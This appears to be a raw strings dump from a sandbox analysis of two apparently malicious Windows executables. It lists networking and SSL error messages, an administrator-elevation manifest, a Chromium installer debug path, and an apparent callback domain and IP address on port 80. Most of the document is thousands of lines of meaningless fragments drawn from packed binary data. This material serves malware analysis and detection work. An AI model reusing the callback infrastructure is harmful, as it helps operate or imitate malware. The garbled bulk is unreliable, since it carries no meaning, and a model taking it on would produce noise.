:There is no LSA mode context associated with this context.8The clocks on the client and server machines are skewed.;The certificate chain was issued by an untrusted authority.7The message received was unexpected or badly formatted.;An unknown error occurred while processing the certificate.%The received certificate has expired.*The specified data could not be encrypted.*The specified data could not be decrypted.YThe client and server cannot communicate, because they do not possess a common algorithm.
The security context could not be established due to a failure in the requested quality of service (e.g. mutual authentication or delegation).dA security context was deleted before the context was completed. This is considered a logon failure.mThe client is trying to negotiate a context and the server requires user-to-user but didn't send a TGT reply.aUnable to accomplish the requested task because the local machine does not have any IP addresses.bThe supplied credential handle does not match the credential associated with the security context.]The crypto system or checksum function is invalid because a required function is unavailable.9The number of maximum ticket referrals has been exceeded.
4No credentials are available in the security packageCThe message or signature supplied for verification has been altered8The message supplied for verification is out of sequence3No authority could be contacted for authentication.UThe function completed successfully, but must be called again to complete the contextEThe function completed successfully, but CompleteToken must be calledtThe function completed successfully, but both CompleteToken and this function must be called to complete the contextsThe logon was completed, but no network authority was available. The logon was made using locally known information-The requested security package does not exist2The context has expired and can no longer be used.DThe supplied message is incomplete. The signature was not verified.lThe credentials supplied were not complete, and could not be verified. The context could not be initialized.1The buffers supplied to a function was too small.
The handle specified is invalid'The function requested is not supported.The specified target is unknown or unreachable0The Local Security Authority cannot be contacted-The requested security package does not exist6The caller is not the owner of the desired credentialsBThe security package failed to initialize, and cannot be installed-The token supplied to the function is invalid^The security package is not able to marshall the logon buffer, so the logon attempt has failedNThe per-message Quality of Protection is not supported by the security package?The security context does not allow impersonation of the client
Failed to load %s.
SSL status: "%s"
%s Alert
%s Read Alert
%s Write Alert
Error creating SSL context. Could not load root certificate.
Could not load certificate.#Could not load key, check password.
Host field is empty,Character Index %d out of Range, Length = %d:Character at Index %d is not a valid UTF-16 High Surrogate9Character at Index %d is not a valid UTF-16 Low Surrogate*Missing a Low Surrogate in UTF-16 sequence
Transparent proxy cannot bind. UDP Not supported by this proxy.$Buffer terminator must be specified.!Buffer start position is invalid.
Reply Code is not valid: %s
Reply Code already exists: %s
IOHandler value is not valid'Algorithm %s not permitted in FIPS mode
Unknown Protocol(Request method requires HTTP version 1.1KUnsupported hash algorithm. This implementation supports only MD5 encoding.$Error accepting connection with SSL.
"%s: Circular links are not allowed"Not enough data in buffer. (%d/%d)
File "%s" not found
Object type not supported.
)UDP is not support in this SOCKS version.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Command not supported.
Address type not supported.
Stack already created.1Only one TIdAntiFreeze can exist per application.&Cannot change IPVersion when connected$Can not bind in port range (%d - %d)
Connection Closed Gracefully.;Could not bind socket. Address and port are already in use.
Invalid Port Range (%d - %d)
%s is not a valid service.
%s is not a valid IPv6 address:The requested IPVersion / Address family is not supported.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Operation would block.
Operation now in progress.
Operation already in progress.
Socket operation on non-socket.
Protocol not supported.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
Invalid codepage (%d)4Failed attempting to retrieve time zone information.-Error on call to Winsock2 library function %s&Error on loading Winsock2 library (%s)
Resolving hostname %s.
Connecting to %s.
Socket Error # %d
Failed to set data for '%s'
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list
%s expected$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Thread Error: %s (%d)
Invalid destination array"Character index out of bounds (%d)
Invalid count (%d)
Invalid destination index (%d)
Invalid property type: %s
Invalid data type for '%s'
Line too long List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
%s on line %d
Error reading %s%s%s: %s
Failed to create key %s
Failed to get data for '%s'
ECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
'%s' is an invalid mask at (%d)$''%s'' is not a valid component name
Invalid property element: %s
Ancestor for '%s' not found
Cannot assign a %s to a %s
''%s'' expected
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
,Custom variant type (%s%.4x) is out of range/Custom variant type (%s%.4x) already used by %s*Custom variant type (%s%.4x) is not usable2Too many custom variant types have been registered5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Interface not supported
%s (%s, line %d)
Operation aborted(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
Invalid variant operation
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
Integer overflow Invalid floating point operation
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
!'%s' is not a valid integer value('%s' is not a valid floating point value
'%s' is not a valid date
'%s' is not a valid time!'%s' is not a valid date and time '%d.%d' is not a valid timestamp
'%s' is not a valid GUID value
I/O error %d
The OpenSSL Project, hXXp://VVV.openssl.org/
1.0.2e
Compiled by Frederik A. Winkelsdorf (opendec.wordpress.com) for the Indy Project (VVV.indyproject.org)
()* ,|-.

nsg1E.tmp_1992:

.text
`.rdata
@.data
.rsrc
@.reloc
xSSSh
FTPjKS
FtPj;S
C.PjRV
Visual C   CRT: Not enough memory to complete call to strerror.
Broken pipe
Inappropriate I/O control operation
Operation not permitted
portuguese-brazilian
operator
GetProcessWindowStation
KERNEL32.dll
USER32.dll
GetCPInfo
GetProcessHeap
C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg1E.tmp
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="hXXp://VVV.w3.org/2001/XMLSchema-instance"><assemblyIdentity version="1.0.0.0" name="hello.world"></assemblyIdentity><trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"><security><requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"><requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"></supportedOS>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"></supportedOS>
5 5$5(5,5
%3U3_3j3
6$62686>6
0 0$0(0,00040`1|1
nKERNEL32.DLL
mscoree.dll
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
WUSER32.DLL
ZMDpzqvFtnSc.com
52.1.45.42:80

tmp37.tmp.exe_2216:

.text
`.data
.idata
@.rsrc
@.reloc
c:\projects\chromium_clean\src\out\Release\mini_installer.exe.pdb
RegCloseKey
RegOpenKeyExW
ADVAPI32.dll
GetProcessHeap
KERNEL32.dll
SHELL32.dll
setup.exe
%c=li.
s.ji,r
*%s)^
.TN5C
.dpp V
6*H`%sB
"%6Sc
S\wEb
$.dI'n
!.ruO
sq.zs
D.DS$? 
C$/.HY
.BmZ3
iWM
'[L1.Or^S
|.nCYU
.ygiy
lJ%x{
\ ;..BV
.tMzG
R%f~A
Xy0.vW
!A.ta
T%dHFhZ
.NYFJ
0O7%D'
x%D[a
eK
LC.bo
)%DJv
eM.pcwY
Uft8.Iw
.DiY@
n@ %F
.HD~"OZ1X
Ag.JM
s0c9%u
$-.KZ
sl_[%x
.PshZ
z%2S&s6S
cRTQ
jZ3%un~
3E-x-%X
[R.cS
x%dV,
:H%d(
aO.Ps
N.SWu
[%sS`
H~%ucw@
%UVf/
`).oi
.IG'P
tk.Gr
V.lc(7
6x9%c
&msF%DR
dS.ny
e.nq\
`.vIpZ
rO.QBy
.DiZ^XMQ
1%XI4
.Cb*m
.Wi2t
Yr%.tK})I
Jl)
<<e%S
 %UhY
.Xj6k
$.uh:
3H}e%SW
uJ%Sz
SqLq
\-3}DE
Z?'!>.Sm
Sd.Ic
.Vdg7umi
{.cice
&n.Vfa
c`.zP
.AZLX
&ü[
U>.Eb
%}'%S
jS%u-
$[[".AnYL%
%urOs
.eVluJ6
-e}c\cP
MI%f{
\.GB<O
j%z%s
o&%.lm
.qq*o
'%D$=
\k.orR
.qV&X
*8.gmD
N&Å
b%xcT
';[.eLu
/%S(S
.yI5jK
oYy%Sh
%4u&`
PÛ0
.uxJji
|%CJLC
%ML.fW
ONN%d(
q.w.hW
URli
.7|%xmj41xP5
p9.iGF&
L^\0%S
%2x!6
.ift1<
FQ.Sn
.QLhw^@
%c (m
p.mhw
8Z.vh
.NZ&]
B%xv`
^h.gL
.Iw6:
C%X4_
E.AmmP_O
;)-*2*({]<{
[v.grq]
<z%Sz
q3%D#
>eoQ%c
'}5%X
5.rag
.Sun-M
j2k%x
M%hA%F
Hg.fr/
A6-b%F
.ig_|
@-.pGFq<f
@%F[/
 ?.hW%#
>.Es#-7*
J.gG7E
l.aKgYd
]%FQ^W
e8.gy
(,.Tm
.nN `:
.hd8q
$.sX%x
%xOY(N
H%DN^
~%U<O
=.cHj
H-%f*
R,9%C
wEBDB
$.QN4
O.htd
.wt'g
2.Lgx
@>Ux.xZ
 .UEA
k@G%s
.Fjpp[
@%0UW
%Uc !t
Tm%sI@<
b5%u/_
`.McUCl
"Fn%%U
6 W.jk
!z#.sUe
XsQL
#.SM,;
%S@i]
.qYga
m.Fs6
xD.Gk
d.ryCZ
.DL5e
S.ysE
@%XR;
nq[YB-.Nk
B1.BYr
f$.KO
u353;%f
.!U%DG
&=.Zu
.kZ_I
kc.Pz
3%D*eHS
3.sbm
%sA\.Pa
s.lXQ
G]?%U
bA@%X
]Lj?%c
V[.tI
NFTp
oL.yx
6.oNg
.LgFu~!
.oi]d
Fs
g/.iaD0Z
h%fWK
((5\D.gC:!
<7G.RA
2ufV.HF
KA%UZ
.gX8s
E.lB"]
.bd 2
.cSiG
nw%D#
N.ts3
.sc?l4V
(YLft(%C
#P.KX
.KX$Z
lCW%u>
7<%c%
8?.Fe
?nL.lto
Iq.Mu
XU.kO
.nQRe
2@%s;b
xO.ie
/%f({
KWf%U
 2~59`;[
%C?,s
.zq f
.bJ.J
)UDs.GHV
dv.am
>.-R8}O
Y %dMHD1
lh-j}
.ye'n
sgm%s'
ag.twc
4d,u<%S
rDÔ
xb.Pv
#}.Jy
0.Gej
.fWm'
S6.ez
>C.Yu
-eG
%sOhr
R.HaQ
.kj:<dP
.Ei]T
$%D$r.
%1US,{52z
v.pHEmD
.kcr>
f%c'4
%DxFS
v$e-8X}
.tSyC
.guaL
@.fV(s
-OR}!
.qdfU
xW.QY
%DX=hu
'.st&
ek.eY>
%xMP=
<,%.U
N:\@mN
Q.XL)#c\
%u vB
(gW7%uk
1ftCP
Nh%xv
%6XxZV
<.mP7
.IE'r
.Yb)dO4
.jhS/
%C cWa
g.lHu
.Gsu5
*50z.NJ
c%dj;
.sdr[
.by@m
9.Sqr
}.NM.
.ck2#
y.gU>o
_~{%F=
.zg71
-K5}h
G.Rlg
T.eUg
:%ur\
c$.LbF
k %X&
G-c}9
giZa\:x.Pm
!W.yT
QK.Ll
b.vhm
%U2;Jh`
se%UY
%F)Nqa
@<Z%C
>Ummf%c
Kw^.Aj
%Cm43
:O"d%XU
#L.Ri
u2.yw
{SR.eo
.Mp[v
 .dEY
Vq.bo
.AVWsg
V"%Xq
%uNlL0
GS.lTZ
.PiMO
.QQt]
L.EuY
{r.Ai
z3-i}F;"-~d
jx%Dl
2\.boG_Z
.bSd:J
%f{!it,h
}f
}%d/zr
%xnbFJ
fk&C
N7B.XB
))l.fK~
wAen%d
<~N.yt
@M.Qu
J"{-%U)
DK.At
.ep]j
_y)%X
77.Pf
N.jSZ
*Q?l
EzQ.KU2
$.cI4
OC
kC.If
Q7T%F
.QA;P
%U.40
Lh%fv
F%F.0r
o%DV<
%SHtu
dM.eN
%SHz5
|%f`;
j.ZP0
w%DX!
%c`P.*
.hV RK
:%Cu4
A45%CwV
.dJC{
fU.pr
h] %Y
j>.yb
dL.Zc
,8_`%D
tz.MH
 .wj>,
srø)
V%XV/h
)3R%c
\%un4
%F;k[H
8P.rn
o74%D
G.DqR
z.igCEt
G.JSK
.cX[ n6
e.MO\
bDF.pa
4$3%uHO
6%Cy=-
Qmj.vaB""$^
.fy%L_(
]O?j
XU7.fJq
%fg>7
p?Va.Ge
7Qd%sd
<&|
.vEV`
^(&%cO
Iu.IcN@hke3B
H.oQA
.bF'=
.shBS
e.RdQ
~.uF\
L'.BH
.eB&9
roeX.zR
%F^~D
beXEI"B
R%DRJH6
G.bU-T
6v<L.Hw
B.Us/
s.KcW
3;xg5SQL
Mg.nY
%xU!Ye
Zx.Qg
c\.vS
[email protected]
.sX>,s
=.aeO
='C%X
Qlb?&%u
=%DPinl
o.frr
in.fn
(;.gw
34.nn/4
N*.bl4K
7A7%U
%Xcvi
J9Jk.Lr
4.gCs=t
<%X?\
AM7'%x1
.ee6m
N.RaM
5%U(&3
ov!%f
=-x}-
r3g%F\B
i-I}q
,%slZ
mc%Sv
-q8}5
n!Q(.Ru
Im2Ø
.EW>J
Ûc,
:-:cmd
<:.Bx~~
H.CT9
mõ:J
,%f<U
95%x%
qfRW[?z.Ytdf
od!=2sNO%X
,s%s]`
\.wSw)yl
z5[rM-%F 
"@%UO
.rsR^
%.hc*e(
2.uuy
sY.Al]
q%c v|i%X
^.YfT
PM2QJT\.qKHI
j0.iX
rT.Nt
8'.fD
#i.YC
VZ:p].Ut
(5FTp
3q<.QX
.qd]Ho
o5%xNp'
.VT"N
brra!%F
Ss Dc.TK
P.vq~a
q.HS>
.=.XAR!K}T
nD.zH
.OhLx!`XMw
}3}.Ik
lFtPV
BZ4?
l8|%c
_}.BFZ
IX%c!%
Jk%Us
cmD`v
T%u^|
%u#ne
$C.lv
`a .iho
/x.CL
0~%c!U
8aÖ
}^.fjW
.lbXv
s.lvSh
pMe:%X
WO.Sv
).Ll/
PW.HC
B[!su%xj
3%CNz
Vb#%x
ZŒe
mp.Zp
.dkUr
%sQ.>
22\%C
D%sqJ
h-LU}V
_L%X)
.DJ80\
P.NSqGf
.pETVX
j<.sk
.QJ G
zB%3U.y
.ic1]`
%d'cNo
%cjxF
.hXV[\WQ
oMSg
o&.Fq
.Xy`>_F
%CTA4
`RwebJ
_H.Bx
%u]0rK
$[.hxq
|G.xSF
|%UnL(#
%Ss>A
s.Ckc
.bh5A
le%fp
]J.Wz
R4S-9}
c#Crt
.ja23
cj.Ld
;tmDÇ
K)U.vI
JIa.hc
N%F|y 
.WK32s
\%c.Ud>q
%f\- 
q=%U]
.Zm*1
yO%Si
%UZ0"pjn
'.NZ>s
c/I%s
%Fzy~
%xJu*
K%2S5s
]v-A}E
.vcNM
.Bkv ?}g
.fWvgo
22.rJ]
w.ido
ARu.jL
QPS#%F
)%U`D
CbD%d
F&.Hw
>%c=T:ej
`.BV(P
.Fy2i
u.fNG
DE.Sue
|..Sf"I
>M.jg
!.TJa
~fQ.wI#
!w.TL
'&Â
K1,.LF
.rZfE<
.xQ`$
fh).dZqzW
tCPRI
Yftp
(%X/~i
j.jhq
7Aq%9x
,.Wwz 
%selSGt
4Z.Nf
eddów
[}.nu
|k.Ti
-L}:&w
.KY^7>
{e3%S
.YHl`]
pi&.kvwZ
.BOR>
"-qD}
g.OsG
.xp(VX
B.aP(
).Lm\Z$
J2.Fq)
%Fri!5O
`.ireg
*Y%Xi
%9\`91[3
I.BQnF
ò~^
3%s6$
oE}
9%cr(
$.lZz
-<>.Kw
@.zqc
.wF {
J.ije
%DK)q }
G %X3
R.wZH
7B.QL
`%
.a`yoZ.lF
]Jt.hI
=.VFv
#j.TnTnX
.yx]q0NY
ltS3LZ%F
XS.US
%x4T_
I.fz?_
5`-.xk!
}QN*.Xq[
.BTS<.~
.UK.*
y%Cv@
*O.JcN
.hsCe
H.Cuk
%u`%9
].dGo
.RZMpb
`y%fXR
.DeIv
(.pv}
i.Nb[
i%cK!U
nþqu
eYef.Zo
.pX"GX@
4x.JUT
%5uhD
_.KFY
4.Rtp<
.AF4l
t]u]d.VA
%Äj
%Uye^9
g"%xt
>Gyp%SI
%C ],&
=.}XZ-r}E
9t9%UH
%s!9A
#^f*.IU
@.SGf
#p4"n.hD
o~m.pv
b8;rT%U
.upjt
:.ewg
)(K.%s$yu
xy.Ny
%F`p$=
5.irq)
W%F)Ei
N[.AG
`bp.S.QsC
.KR3u(
G.IDk
%fT:o
%cga04
.Mh_}
M.ih^
@.Gc.
g.uw~[
Wn~%C
>=T%Xn
U.\%s
.ed0o
K%5S(
.mX2K
 M/.Ef
.aQMrM
%x_Gz
4aAu.Zg`
C%ÿR
k.cZsB;h
o_i.Zg
7.zD\to
%uaR-u
G.zFd
3.iXB
1)FV%s
.RYZJ
L%x$4
4#Q.WA] 
.lMXS
.UewhH
h=
n.qs.
3l.TA
&r.iX9
D.HRJ}
%ul;'
jc.xt
=!mb%D
d.GR/
XdnDX%s
V%d[&O
%S~h?2
*-t}iS)L*W
SD.EC
.oUs)
7L\.ARn
\~|.Jp
~.of)
]%U#v
UrLK
.'.LT
j/%F>-b~'
x.bV}
4D.nqWg
%d|cK
.IS9Rs
.bp1M
"[email protected]>
45b%X
Eq=%F
:&.Sa
bw.xo
.zvm}a
|.irh2
ykY8l%u
fTh%x
'}%FX
).Prni
%x8OO} 
.Od]|1
Vkey
.NX*N
[ÚS
D%C](
!S1hf%X
<.Fs4jk
`B%7X/8:N
%u@jM
)|FF.yzR,
.OC[J
6j%UxO
P.eG-
.xymH)
c%UH&
HO|%C
{.Ab|%L
%XgL[*K
.AV):
??v.ER
O-tsU}
Y%d}0
..pqs
6J.QxN
y%DxE[
%uUf\6X
9%Xz66
M%ufvK
%X&Qx
3>Ax1J.XD
.J.WW
R".is
}%U!Q(
k.kT~)Q
G>.Co
4%fl}
u(.JHz
M.ISR(
n.Ws%
bL%5U2
.HRI7
!.GQu
.TlwS
r=?H
'[email protected]
F.BpE
%UipI
.RwLw
.xQ-i
>Rn%s*'
P-7}m:
H4I%t.XM
]'x.oe
.SnL6x
%CS.O
*Q31!.Da
u{.Ui
O%c&[G]
:J.Km]
G~.eJtc
3.xrH
)E.VA
>J.Ok
Y.iLq
ÛN2
'S%C[M
6}..JX,
3P.lU
\o.qn
.dPUc}
:M%X.Kq
%uE>FsK
.iYTu
>b%c!
iFr%s
}`i.UEW
(3^%UA
_.KNKHid
D%x~s
%6X{Z*q
aUj>%f>
v4.IW
6-MSG
.bzXx
wj.xKT
.tv%f
F.TVL
*%f&Y#
#|.iR
t%u8#
#vF.pu
|>n%X
l .Bu~
{.VYBn
e|.Vo_
9 mgB
Z.fV$
[%X:S
@y;e.EH
;E.Fa~
kH.CPq&3
 Ca-z}
.DUAP
B3.OY
%cGFM
gdJB.cq
Q.lbZsB
3.TU&
6~.PlH
%F>3i
uh5.eO|9
0?%xD
zxY>%U
.dep?s
B.sM|
~.IhTj
%5u_%Y
'.eF)9
1di.qQ
L6.xu
ubR.sf6
.KsG>
XD%f^
%d[)C
V^(%9U1
<.cPD
qHÌ
P.BjsJO
lb.Ta
g%U@%6
"@.Wd
[%DUJ/z
.eUk>w6
H3,.UH
.Tm{v
X.uia
O=gJ%s
t.aC>
c%XW?
gP D.lj
<  ,%S
#.XqZ
2.QnE
.si9!
CSQLa
-ASi%fxL
iJ.sA
7"%cgd."F
JD.Fb
%uFtj&
Pa.BJ
%S}[wU
!vpJ%d
V8.uS
g>?.tT
MG'%dZ
j'%5UI;7
.buG_
.DIH(
T7>%S
?.cmh
d\.fI# 
,l.KC="
$n'.CeQK
zV0%f
.WxTH
kB.iS
%f=er
>.yzO
O%u'5
B.Dh>E
.JF 7
_.nPZ8
xÔW
R_À/
h
p
G%dWM
?føU
%X3cj
#/.Id,#c]
J5.CH9
ß,;
%.TQa
].uh~
w]^.FN%4h
.fI}E7 (T[B
.Tc#eO
)N.Sd
%Dt0m
6%FIp
`.Xf\
AV.WW
_n@cn-%C
[.RZ&
:<T%u
/.HFk
|!A4%C
nHq5.nb
~|@%F{
:E%x6_
 73.un;
-J}tn
$.IC:@
l^F%XA
:%Fyy
PEXE
O`.gjx
@Zrf%S%
{<%u*
%dR m
^j%dj
.GJ-~gO
x-L}&u
94.NwY"
uA.BE
#4.wc
dD.Vm
%q.Sw
Jo.Pw
%F;>=
W|/F%c
{.XvN8
x0.vl
&%F*:
.cd:j
.yu)[
8%.fe
86[G%C
ywEB
iVZ.uq
4>^%c
}.JCA
.GDq^
fs$m.tgG|y
4o(
.piul
s>.oJS
dGXP%Du
z9%uQ"
W=%4s
.Cw5R
X.rHj
.=.QAh
}Z.IJ
e7.aT$
Ss.tj
)Y'$=r.ml
d.Wz`=*
%ux]q
$.yGT1h
%sy3e9)r
s%xp1)
g9.kU
>YzA.Nw~
YB%u9=
{o'>%D"
8>%SC
VE%*%f
' %CT~
\.fdHG9^
.Sq=i
.bAF92/
.gq@.
"*\.iY
;.Rg|
%UAfo
!S][D.FvO
~e.sp
[.FBZ
z(a0J.AV
'?.stM
<%CZ">
"Z.Ys
%%D)2
O.dIl
t.hu.?
%.mZj
QJ.Go
Ä*u,
}.JD{
Gc.MA
r%Cu5
7T.hF
%U :B
rt%Dh
r'eF.ii
xt.rv
[k.if
%cQyV
SQl5A
D#%sc"
>9N%S{dGQd
.op$1
7Co.zx
'%S&"#
%eO.fn
JwM%U
oF.Bo
n!ÛzX0Q
s.bdm
xý,
= .mx<wI2
L.unS
Sz.HTU
0.DaM
:[-Aj}
C0.ss
]z.RZ
Cr%uG
=A.tp
o%C)"-
.Fu[1
.ChsO
:.z.lrY
bc.kw
>.dn-$
%UT6_
C`M.zQh
.eRbiH
-.qY5
*^.wT,"
Y`j%td%U
)-OIW}5
-.GQEJ
).IAF
7;%S-b
Oa.mA
%X07|L
!e.uc
k8p9%ud@
z:\5`
[.eKK
t%St*
_V[%d
5.sEB
.aW_l
s".XdK
I{.UR
S%.f]
fTûH`
E%Sds
kNÜ
yN.un"
.OFB>
?> 'm.otp
l.jr)
ls8u&%F
G.CxW
}BM.cE
[.JIh
!(7m9.TQ
z.rcP.
.Kol[
.Fwd>
;.Fz`<
%x!ul
_.nnJ
%X!3m
?.ll N
MySNP
"D.Yy
P7%UZpoZ
*Omf%C
.nL.<
-.sd\
@bi%cO
_:!.Mz
)t`.It
.Uy"xu
%uA'[
TuRl L
,K.ko
.jt&@
.cpx%
B,m.eV
\X.wI
].rE`
}0Q.hCFC^/
*8-.jY
-kGd}
"q.ggqC
.cfRA
H6{%f
%uh~B
K.BMo
W[.dP
%c"[jC
w0.qj
A^[.DX
i.jdF
&%f-I`y
..xM8
r.d!M.sF>V
\SL%D
m%S[ce
Ou89r%dq
{7B~P.Sx
.Qh=H
-3}T]
CU*{
Pl.bQ]
%X\FR
@P.UD
`k%D!_
Usql
%d#t%
.UzK(M
u&X%D
.dzOD
S\.sO
_.jXV
l.cp\
.eA:Q
d%UIG
,.x.sL#jY
IUc%D
.mWbOE
..bxE
_.Jp9
5;.GA<
&7P#&k%U\
P%Sb q
.fNvpWm
31v%c
~.mT5
Q.XpF
.KUj{
{!.xD
%SB_S&>%
g{(R.mq
<.XI-u
A0.AO
.YEhC[
p%3.s
0.LvI]
<.MDX
%XHD;
S.YBsh
%\K`.CQA
(wP.AZ3
.XD/*.k{.
T%CZ}
.lN$Q
F?.ND
.KycG;
aXu.XXsR
me.Eg
(Y6.CX
oY.ty-
)f.UY
OQWZ.Gp
'N_%s
2$R.zPx
IftP
F8ø
J.JL3jQ
(K.Fx
~`W%s
Me.BV
#`rJx%s
Xw.IE9j
gG~.Gz
3 %X_
.MU6^
.,Ý
.yUTVs
}\.SL
,E.Rm
z%u?<
b`.AU
.KbCo
.Me}~
:F%C?
Z.XhnE
lN%Xtj
SV%u^
%XQQ;n
O.Xm1s
).oLE8
UrLU{
yc?:1.XC
%b%S>?oi
E.xUM
lmsg
.yMD&
.nazhpWq
J.GCqG
.JICA
tCPbif|
x{.jC
Sþ=Qt|-
6vs
8x?.hC9a
^].Ui
'8.oL
M%%d"
.ET'50A
04.MDv
iD.Qrt6
 .LPi
t.Cx#
`#.xIez}5
/.MTywB
.kKX#
E?-sShW_
.wn72l
Sftp
mK:.Su
_%CT)
.DT6Zn
7_.GT(
6%Xd'
FtpK
P%xmC
<$j%D
_%F?G
%Z.xQ*
3.qD[
%FJ.P
tjX.IX
K.kc,U
.vi`R
d/%S_
?O;Un%d
-B}Vh9
.gwaz@
v%U!9
J.pno
qFtp
l…C
d%f'i/
?L.JO
.Js}.c
.YewI
/;y%D'
(0X.AzNu
.Jn'F
5Vo%x
#.BB[or[
R,[email protected]
sQlRe
8.SEE?~z
j%4uQ
k.Bu5
%Sas$
5S.yg
[%C?G
iS.Rg
.JQwu
#%c[-
.hLDi
7%'.LYS_
.WvtQ
)y.gb
3(.CC
|M.pc
.Lr=c
n{4%s{
Q$.jZ)
:U.GrI 
x(.la
Sb.UF
H#.NC
khB%uW
5.gAE
i.GEu0Hp
AC.qAYs
:.zj4
RH#%F
v(.uQ
Id.IRc<D 
2.eXZ
.sH(1
nQ%CRQ
.pb)q
x6%3x E?
ssS`3dD%c
.:"~@*..
M.RN`-J14y';
Gt.OzW
dw5%D
( (.DAS:
.Dl&[t
_H.UN
nW.WM2r
%syB0
`l.MX2
&D.Hm
,H.Ny
l>:ZL<.yvye
5":"t%c
eO.djC
..Xd:
C{%dX
Y#.%X
&.Jp"v<
kp:%uEq
%SRWwD
y^Gÿ(D`(
.AxO"
vO.Jx
\5.nz
%U0,#rtF
.jBXUFqe:t
~}.Pmj
Grd%6x
j}.gs
vR.ui1$8V{
.jjm;
q)%fy
O%U=O
qCf%SzP
%G.ci
Û'Q
0fS%s
.Zh~Tt
%x2oY
2(1Z.dU
.Txq8
^.uSfN
%f*m[
Mi.iR
%9xT}y
.LddM
b:\~im3
_ct
.EmEv
U1.KD7!k
y=.je|Ii
.Xw&h
.oS6U#
a 6z"%U
O%.cF!?
.OM{.
.OCfqLT
%DGg]?
|.zSA_
du|-C3}Vl<
.pE;;
%a%s^
b.zEk
3mB%C
CrThK
c_%U?
qR.fM
@%X%b
.jsjp
-ep}q&G'
:S3su.gn
.hNIf
%S8%w
6.mK4
.Wt?T
f\t%Ch
B-l}7
qJ%fSs
..Jbd
L;|.Aq
.ZC1TB
"[J%D 7p
6.vtb{=pp`
-/.Kv
4!%US?
.QWyO
f-C}C
%uD;q
=: %S
4y%C?m^"
.CFD@
.DW{I
XWl3%S`
-P}>|
.PiPU
-{Te%xw
.cZQ(
7{
(QWÂ
ksh.Cm
S!]G>.pS0
eSSh'_
%xG'Vq
%f;v-
N.kq_z
r=6.KD
.qg^V
.gsdv
DT.pn
vrœ
(.oe@U
.LM "
{&-D}
%d{r*u
P.wuO
.qa II3
q--.ub
bEJ.st
%stQh{8
/8"|65"0
B={%X5~&|
.uk)*
d~.fJ!{
b.Dz}
}7{@%9si
'!.fdvb
zUP.SL
cMDi#
u.Qmf(
Z.IG.b
.xUbv
_2%sT`]
lX|q%D
.lmH$e
5C.GD
/a.aAb}
jP%XE
.wEA84Cc
.IQrH
pB%ssB
O.4%Xs
IRC.ry
@.Kg(
%dyc]
.IlRL
g.YVn2^3@,n
eoA.Fp
n5#%Ckx;
5@:/#-%9 
Pu`l%C
Z%xAZX
5.uf9
O.xg_
>).dP
.OEq:@
Cy.hC
N5u%C
6; .Qi
R-.QZ~5x
e.
zKEyF
EHd.qi
p.Ym!m
%C nM
!Q.EK
IbL;.i8%S
s.Bpc
D\~Ò
.Mwvm
%5S# 
.Vro#
/%U9l
A%C$*
iR.Fa
Br.Cd
%uX}z3
.iQ_q
.SR2Zq
8.OQY
%Xsy:
2# jk%U
DAX.nF{
%S&j,$
6Oyd%U
.bbVej
.mc[YyZ
C{t.VK|
%scXk
cR.qBG~
.zXa&
.yH9t@
.RVVpv
ub@%f?
Dc
.atD<
T.XVL
T].JB
G`.XnR6
d;.ai
XuÓNv
\01x.Kr
$l%Dv#
.Zv$]
5.C0!F{%s
P8.os
Tib
.fI{h
{Z.zx
:cX".rcaE5
8.nq}
o,\,j
6.AzVt
y%SDOu*
IrX%S
 Lv.v%3s
Y&aM%So
.ua~[
v%uK0
#?L%X;
%c^gx
9&r{%x
r.BP~b
:V.Lp(
KW.pic
-c} V0<
%XA|:
.PwzU%
>Y&o%u
#%F-wd
.DhBk)x
fig@*s%d
q_.TC
F.mFm
%ud^O
VBa%f
LJ.Gp
%cs1)H
@j.Le[
mz9ln
~t{n~%f
k8rv.Ne
.bPv;C
%Sec,
L.xd1
|=-LM}6%
3-yPeT}
.mAJy4
2.hUK
T.Loe
">/.Msu~k
.htnrQR
u.wBL2
msG.R6
!N%CJ=
.SSjy}4
D.hs;
 .lNF
.GI6F
}m.ET
/.RO 
HQ.qu>ccx
.Nx*>wK
.La'6`
KŸa
K.mJc
ud.ao
#.KC<o
U%FIK
{S$%f$ 
!%xlOD
2MRóZXS
2%D_-
.zm7R
%dJ_g|.
pY)T{%C
.YoVh
'.qUc
Ép>R
TkP%c
,^7-[%xn
%xL9s
URlw
8.XxM3]
%ukbo
H%f*r(
KC.np
5%SmS*
@%X}F
4>l.Kld
Z.DAy"
.qI{8
=y.Kl
z%f;z*
.FfYc
%,.fC
.qn;Q
=.Xuq
2X^qS.bb
oV5
N-5Z}
D].kT
ZG.JgN
0YC$%c
/.pwJ
|K5%d
cz.LY
k-S}(y;@
rf.aB
-Ex}4
O2"Uz.Vf
[7`%%uc
